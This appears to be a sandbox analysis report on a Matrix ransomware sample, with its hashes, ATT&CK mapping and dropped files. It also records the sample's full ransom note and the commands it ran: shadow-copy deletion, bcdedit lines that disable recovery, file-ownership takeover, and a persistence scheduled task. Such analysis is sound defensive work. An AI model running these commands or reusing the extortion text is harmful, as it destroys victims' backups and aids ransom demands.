Overview

overview

10

Static

static

3

3eff2f818a...63.exe

windows7-x64

10

3eff2f818a...63.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    299s
  • max time network
    270s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-09-2023 05:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe

  • Size

    3.8MB

  • MD5

    ac42a9b2338847bb398152b1bf6401fd

  • SHA1

    02daf9ff6773da4d134c94fdb7630af2cc01e399

  • SHA256

    3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63

  • SHA512

    016c848cf8c2ffc1343d9242eaae19e9d41488f752282787f4f62cb841c121583f7673b21ddd7b624f39ef775c167fd2733eba495c84ebdf20103f09400e0ac1

  • SSDEEP

    49152:PXlOslYQt+5oXlabPyyNHb/GMO6d+5M+HKo:PEUYQtXQFC6s5M+HH

Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealerupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files\Google\Chrome\Application\106.0.5249.119\default_apps\#ANN_README#.rtf

Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected]\par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 263AF7BACF6C40C2\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cUPmiEDYswzWC3ZmbtybDJeUNHqSpERL1\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 263AF7BACF6C40C2\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 awgA9UAg\cf0\f1\fs32\lang1049\par \par }
Emails
URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops desktop.ini file(s) 27 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe
    "C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe"
    1⤵
    • Matrix Ransomware
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe" "C:\Users\Admin\AppData\Local\Temp\NWDyMrAh.exe"
      2⤵
        PID:3784
      • C:\Users\Admin\AppData\Local\Temp\NWDyMrAh.exe
        "C:\Users\Admin\AppData\Local\Temp\NWDyMrAh.exe" -n
        2⤵
        • Executes dropped EXE
        PID:4260
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\qbixSRn6.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4116
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4240
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\8XFNKXtw.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4636
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\8XFNKXtw.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1400
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1716
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1608
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\CnE33OpS.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2872
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\CnE33OpS.vbs"
              3⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:4080
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\3nfEvclS.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:5568
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\3nfEvclS.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:5836
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:5960
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Run /I /tn DSHCA
                  5⤵
                    PID:1928
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xyRbkJVx.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2136
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                3⤵
                • Views/modifies file attributes
                PID:4552
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
                3⤵
                  PID:1416
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                  3⤵
                  • Modifies file permissions
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1424
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c LqC3I9JZ.exe -accepteula "store.db" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1224
                  • C:\Users\Admin\AppData\Local\Temp\LqC3I9JZ.exe
                    LqC3I9JZ.exe -accepteula "store.db" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:692
                    • C:\Users\Admin\AppData\Local\Temp\LqC3I9JZ64.exe
                      LqC3I9JZ.exe -accepteula "store.db" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Sets service image path in registry
                      • Executes dropped EXE
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5904
            • C:\Windows\SYSTEM32\cmd.exe
              C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\3nfEvclS.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:5492
              • C:\Windows\system32\vssadmin.exe
                vssadmin Delete Shadows /All /Quiet
                2⤵
                • Interacts with shadow copies
                PID:4092
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic SHADOWCOPY DELETE
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5620
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:3744
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:4868
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN DSHCA /F
                2⤵
                  PID:3532
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3624

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Scheduled Task/Job

              1
              T1053

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Scheduled Task/Job

              1
              T1053

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Scheduled Task/Job

              1
              T1053

              Defense Evasion

              File and Directory Permissions Modification

              1
              T1222

              Hide Artifacts

              1
              T1564

              Hidden Files and Directories

              1
              T1564.001

              Indicator Removal

              2
              T1070

              File Deletion

              2
              T1070.004

              Modify Registry

              2
              T1112

              Credential Access

              Unsecured Credentials

              1
              T1552

              Credentials In Files

              1
              T1552.001

              Discovery

              Peripheral Device Discovery

              1
              T1120

              Query Registry

              3
              T1012

              System Information Discovery

              3
              T1082

              Lateral Movement

              Collection

              Data from Local System

              1
              T1005

              Command and Control

              Exfiltration

              Impact

              Defacement

              1
              T1491

              Inhibit System Recovery

              3
              T1490

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Program Files\Google\Chrome\Application\106.0.5249.119\default_apps\#ANN_README#.rtf
                Filesize

                8KB

                MD5

                b2d09ca627235e8e390dafb01172dd68

                SHA1

                1946ce5c16d7a98ea111d509edcd54297dc3f789

                SHA256

                a245c05d485dd0f93e10609fc3ab350ab1e8cb88f7089a8735e43449af713b8b

                SHA512

                e681e40d81be6950a11a9b3e8dbb074b7b0a193488c2d5011997d7d0cef1fd8bb41e42f806cd009e555f8ca2169340d95a510980e40fd445cf5a925b2b9668e3

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\LqC3I9JZ.exe
                Filesize

                181KB

                MD5

                2f5b509929165fc13ceab9393c3b911d

                SHA1

                b016316132a6a277c5d8a4d7f3d6e2c769984052

                SHA256

                0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                SHA512

                c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\LqC3I9JZ.exe
                Filesize

                181KB

                MD5

                2f5b509929165fc13ceab9393c3b911d

                SHA1

                b016316132a6a277c5d8a4d7f3d6e2c769984052

                SHA256

                0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                SHA512

                c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\LqC3I9JZ64.exe
                Filesize

                221KB

                MD5

                3026bc2448763d5a9862d864b97288ff

                SHA1

                7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                SHA256

                7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                SHA512

                d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\LqC3I9JZ64.exe
                Filesize

                221KB

                MD5

                3026bc2448763d5a9862d864b97288ff

                SHA1

                7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                SHA256

                7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                SHA512

                d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\NWDyMrAh.exe
                Filesize

                3.8MB

                MD5

                ac42a9b2338847bb398152b1bf6401fd

                SHA1

                02daf9ff6773da4d134c94fdb7630af2cc01e399

                SHA256

                3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63

                SHA512

                016c848cf8c2ffc1343d9242eaae19e9d41488f752282787f4f62cb841c121583f7673b21ddd7b624f39ef775c167fd2733eba495c84ebdf20103f09400e0ac1

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\NWDyMrAh.exe
                Filesize

                3.8MB

                MD5

                ac42a9b2338847bb398152b1bf6401fd

                SHA1

                02daf9ff6773da4d134c94fdb7630af2cc01e399

                SHA256

                3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63

                SHA512

                016c848cf8c2ffc1343d9242eaae19e9d41488f752282787f4f62cb841c121583f7673b21ddd7b624f39ef775c167fd2733eba495c84ebdf20103f09400e0ac1

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\NWDyMrAh.exe
                Filesize

                3.8MB

                MD5

                ac42a9b2338847bb398152b1bf6401fd

                SHA1

                02daf9ff6773da4d134c94fdb7630af2cc01e399

                SHA256

                3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63

                SHA512

                016c848cf8c2ffc1343d9242eaae19e9d41488f752282787f4f62cb841c121583f7673b21ddd7b624f39ef775c167fd2733eba495c84ebdf20103f09400e0ac1

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uey4tbqi.siz.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\elog_263AF7BACF6C40C2.txt
                Filesize

                37KB

                MD5

                ac557f20c0778689546cd944762ba740

                SHA1

                2081b7cbba20653beb11b9ddd2250b4de79fa71b

                SHA256

                55ea10d81e7775c3733fa8cfda377d898b5c033870083a72a1405209c7152b81

                SHA512

                d1770b44f9136010381c1f93fafd092cb50c0fc80c16a781ecf32ec46aab5012109dd538c428d74b3b340f4aebb2cbd1a42d6dd4177c73d473fa12c150f27e78

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\qbixSRn6.txt
                Filesize

                14B

                MD5

                8eb51985066cb0782077f624013d47a2

                SHA1

                0549d07d51454e73b937946ba1887cacfce71835

                SHA256

                5537d10911f09132033b185344f75ea1a0ed7e5509b3be00bd8bc93d477baa44

                SHA512

                539a7160bb41366a74d8859b080724f5838132428f672c2bba7ef9c9a259823f15074adec75567bea6724f09d681c04b8763a2f495eff3436ff17420cb7bf0f5

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\xyRbkJVx.bat
                Filesize

                246B

                MD5

                f5a5e7bbf6260715c3d3080cac360820

                SHA1

                196fbbe9f76d411d282ebee2dfbada3205c3b69c

                SHA256

                005c28d79652cf68f5194574c8eb3c99f62d7ea84b8700c2f4bb9f74a3fa5ff1

                SHA512

                4dc966b010f9d2be838c41b4324f9ad27793a1e6ef09b29c5d9ec752b774064d437dac0f4cb78ff1438f6ecd967fe0a2f5376f64c6a1507e496cb672730f5b63

                Download Submit

              • C:\Users\Admin\AppData\Roaming\3nfEvclS.bat
                Filesize

                265B

                MD5

                978bdb091c97c9c0b3b4765bcd378704

                SHA1

                c7e771bf4cce39f82e6f4b78a8a40753a573caaf

                SHA256

                b981a8f3ac84e24930eecba33264d7ad368ecbf0b141e8c20e7faf19eb95db29

                SHA512

                4e1d45d5ebbc5c262ec54f9a8ad7c3c564f3258f94809efb3e1042547e1a402993782b94db4f87f8263b03402993e7d078881f9c9340a0f127a9d628af1b400e

                Download Submit

              • C:\Users\Admin\AppData\Roaming\CnE33OpS.vbs
                Filesize

                260B

                MD5

                365338073e5ce38eb6781b5890a09756

                SHA1

                95a7166c1c209794218e733c9d3593e94aa16cc6

                SHA256

                981c16209873dcd090f48b21f4484dd13af7ee5daf50e037c1750d5a758dabb2

                SHA512

                19e4d2da003bd42b6ee1bec13e78c190860edc4b9b7d684f50f56b6f737304d88810d10621007e74e746cbb983c4c67b2b2c3c813bf9ebe67c788d20886a570d

                Download Submit

              • memory/692-2431-0x0000000000400000-0x0000000000477000-memory.dmp

                Filesize

                476KB

                Download

              • memory/692-10133-0x0000000000400000-0x0000000000477000-memory.dmp

                Filesize

                476KB

                Download

              • memory/4240-13-0x0000000006220000-0x0000000006286000-memory.dmp

                Filesize

                408KB

                Download

              • memory/4240-9-0x0000000003190000-0x00000000031A0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/4240-31-0x00000000740D0000-0x0000000074880000-memory.dmp

                Filesize

                7.7MB

                Download

